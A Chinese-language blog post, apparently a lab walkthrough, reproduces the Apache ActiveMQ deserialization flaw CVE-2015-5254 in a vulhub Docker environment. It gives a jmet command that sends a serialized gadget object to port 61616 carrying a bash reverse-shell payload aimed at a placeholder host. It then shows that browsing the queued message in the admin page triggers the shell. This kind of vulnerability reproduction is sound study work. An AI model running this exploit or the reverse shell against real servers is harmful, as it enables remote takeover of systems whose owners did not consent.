Apache ActiveMQ 反序列化漏洞复现

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

关于漏洞

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

CVE-2015-5254

漏洞环境搭建

cd vulhub/activemq/CVE-2015-5254/
docker-compose up -d

靶机ip:192.168.50.134

环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。

图片[1]-Apache ActiveMQ 反序列化漏洞复现-吾爱博客

漏洞复现

漏洞利用过程如下:

  1. 构造(可以使用ysoserial)可执行命令的序列化对象
  2. 作为一个消息,发送给目标61616端口
  3. 访问web管理页面,读取消息,触发漏洞
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/xxx/xx 0>&1" -Yp ROME 192.168.50.134 61616
图片[2]-Apache ActiveMQ 反序列化漏洞复现-吾爱博客

此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过http://192.168.50.134:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

图片[3]-Apache ActiveMQ 反序列化漏洞复现-吾爱博客

点击这条消息成功反弹shell

图片[4]-Apache ActiveMQ 反序列化漏洞复现-吾爱博客
© 版权声明
THE END
喜欢就支持以下吧
点赞0 分享
评论 抢沙发

请登录后发表评论